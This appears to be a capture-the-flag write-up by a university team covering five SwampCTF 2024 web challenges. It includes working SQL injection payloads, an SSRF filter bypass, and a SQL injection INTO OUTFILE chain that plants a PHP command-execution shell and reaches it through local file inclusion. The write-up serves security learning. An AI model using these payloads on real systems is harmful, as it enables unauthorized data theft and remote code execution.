Try   HackMD

Description

HCS (Heroes Cyber Security) as official cybersecurity team of Institut Teknologi Sepuluh Nopember has participated on SwampCTF 2024.
We managed to 3rd place out of 362 teams, thank you for @daffainfo, @kerupuksambel, and @iktaS who's had participate with me to solve the challenges.

Potion Seller

My potions would kill you, traveler. You cannot handle my potions.

Description

Broken logic at the source code, whatever ammount when repay the debt make our full dept is gone and able to get the flag.

Solve

Source code.

const express = require('express'); const session = require('express-session'); require('dotenv').config(); const app = express(); const port = 3000; const FLAG = process.env.FLAG; app.use(session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true, cookie: { maxAge: 24 * 60 * 60 * 1000 } // 24 hours })); // Middleware to check if user session exists const checkUserSession = (req, res, next) => { if (!req.session.user) { req.session.user = { debtAmount: 0, gold: 0, swampShade: false, loanPending: false }; } next(); }; app.use(checkUserSession); function verifyAmount(gold) { gold = parseInt(gold); if (isNaN(gold) || gold < 1) { return false; } return true; } // Map Potion ID to Name and Price const potions = [ { name: "Essence of the Abyss ⚗️", price: 10 }, { name: "Potion of Astral Alignment ⚗️", price: 2 }, { name: "Elixir of the Enigma ⚗️", price: 34 }, { name: "Stardust Elixir 🧪", price: 11 }, { name: "Swampshade Serum ⚗️", price: 100 }, { name: "Phoenix Tears Potion ⚗️", price: 65 }, ]; app.get('/stats', (req, res) => { // Show current stats res.json({ debtAmount: req.session.user.debtAmount, gold: req.session.user.gold, swampShade: req.session.user.swampShade, loanPending: req.session.user.loanPending }); }); app.get('/checkout', (req, res) => { // Check if user has a pending loan if (req.session.user.loanPending) { return res.json({ message: "Ermm you still have a debt 🤓" }); } // Set the loan to pending if (req.session.user.swampShade) { return res.json({ message: "You are worthy: " + FLAG }); } else { return res.json({ message: "You don't possess the SwampShade potion!" }); } }); // Example request: http://localhost:3000/borrow?amount=1000 app.get('/borrow', (req, res) => { let amount = req.query.amount; // Check if request is a number if (!verifyAmount(amount)) { return res.json({ message: "Invalid amount" }); } if (req.session.user.loanPending) { return res.json({ message: "Repay your loan first!" }); } else { // Set the loan to pending req.session.user.loanPending = true; req.session.user.debtAmount = Number(amount); req.session.user.gold = Number(amount); return res.json({ message: "You have successfully borrowed gold 🪙" }); } }); // Example request: http://localhost:3000/buy?id=1 app.get('/buy', (req, res) => { potionID = req.query.id; // Check if potion ID is valid if (!potionID || !potions[potionID]) { return res.json({ message: "Invalid potion ID" }); } // Buy the potion if (req.session.user.gold < potions[potionID].price) { return res.json({ message: "Not enough gold" }); } // Update user's stats req.session.user.gold -= potions[potionID].price; // SwampShade Serum if (potionID == 4) { req.session.user.swampShade = true; } return res.json({ message: "Potion acquired" }); }); // Example request: http://localhost:3000/repay?amount=1000 app.get('/repay', checkUserSession, (req, res) => { // Get the amount to be repayed let amount = req.query.amount; // Check if user has a pending loan if (!req.session.user.loanPending) { return res.json({ message: "You do not have any debts" }); } // Check if request is a number if (!verifyAmount(amount)) { return res.json({ message: "Invalid amount" }); } // If the amount is a number, check if it's enough to repay the loan if (req.session.user.gold < Number(amount)) { return res.json({ message: "You don't have that much money" }); } // Check if the amount is enough to repay the loan if (req.session.user.debtAmount <= Number(amount)) { return res.json({ message: "This is not enough to repay the debt" }); } // Repay the loan req.session.user.gold = 0; req.session.user.debtAmount = 0; req.session.user.loanPending = false; return res.json({ message: "✨ Debt Repaid ✨" }); }); app.get('/', (req, res) => { res.json({ message: "My potions are too expensive for you, traveler! 🧙" }); }); app.listen(port, () => { console.log(`App listening at http://localhost:${port}`); });

To get the flag we need to set req.session.user.swampShade to true
But before that because our account is doesn't have balance, we can borrow according the function at line 75.

potion1

After borrowed some balance, you can buy the item that can make set req.session.user.swampShade to true by according at the line 110.

if (potionID == 4) { req.session.user.swampShade = true; }

potion2

Now, this time we need make out debt balance to zero.
According to the source code at the line 144, we can repay debt by any value so it's will make our debt to zero.

req.session.user.gold = 0;
req.session.user.debtAmount = 0;
req.session.user.loanPending = false;

potion3

Now we can checkout the flag.

potionflag

swampCTF{Y0u_c4nt_h4ndl3_my_str0ng3st_p0t10ns!}

BrailleDB-1

In order to help our university comply with The Americans with Disabilities Act we made an ASCII to braille webservice, now we just hope the faculty doesn't print out their braille on flat pieces of paper

Description

SQL Injection at the search column for get the flag.

Solve

Visit the website.

braile1

Try to inject the search column.

braile2

It's look vulnerable to SQL Injection, so we try inject more but it's only had a 1 order.

braile3

Then we find the table that contains flag with this payload.
' union select (select table_name from information_schema.tables limit 1 offset 2)-- -

braile4

Get the table name, after that we try to extract column name but the result is flag which is we can extract it with SELECT flag from flag.

Then our final payload is like this.
' union (select flag from flag)-- -

braileflag

swampCTF{Un10n_A11_Th3_W4yyy!}

MemeGenerator

All the existing meme generators leave stupid watermarks so we wrote our own!

Description

SSRF and bypass the blacklist filter to read the flag.

Solve

Simply this web can generate a image with a text, but after several test the generate form it's vulnerable to anything.

And we concern there anothe form, it's a Load Image.

meme1

Injected the form.

meme2

Well according to my conclusion this can be a SSRF, and since the debug mode of website is ON.

We can leak the source by change the value of imageURL to true.

meme3

Bypassing the filter using hex, a -> %61.
Then final payload like this
http://loc%61lhost:5000/%61dmin.

memeflag

swampCTF{SSRF_15_n0_Jok3!!1}

UnderConstruction

Under Construction

Description

Chaining SQLi into oufile with LFI for get the flag.

Solve

Get a website like this.

under1

Since the website was using parameter ?page=, this make me immediately to test LFI.

under2

Look that is vulnerable to LFI, but we found another bug at the login page.

under3

The login page was vulnerable to SQLi, at my conclusion we need to chaining the SQLi with LFI.

How? there a method name SQLi into oufile which is we can spawn a backdoor, then we try payload like this.

admin' union select 1,"<?php system(\"ls\"); ?>",3 into outfile "/tmp/bbb.txt"-- -&password=admin

under4

After that access it with LFI method.

under5

We found the flag file, and read it.

underflag

swampCTF{ch4ining_Vu1ns_I5_Pr3tty_C0Ol}

BrailleDB-2

The university told us that our last ASCII to Braille converter was vulnerable. No worries, we fixed it and now it is unhackable!

Description

SQLi on the feedback form.

Solve

With same environment we try to inject the search column again.

braile2-1

Look's like it has been fixed, after that we notice there a one more form.

braile2-2

Since the form was only accepted Braille encoding, so we need to convert it first.

braile2-3

The output.

braile2-4

Then we try some postgre SQLi from PayloadAllTheThings.

We managed find the correct payload.

a'),(cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 2) as int));-- -

braile2-5

Table name is flag, had a feeling this was same pattern with BrailleDB-1.

So, we created the final payload like this.

a'),(cast((SELECT flag FROM flag) as int));-- -

braile2-flag

swampCTF{S33ing_0utput_1s_0v3rrat3d}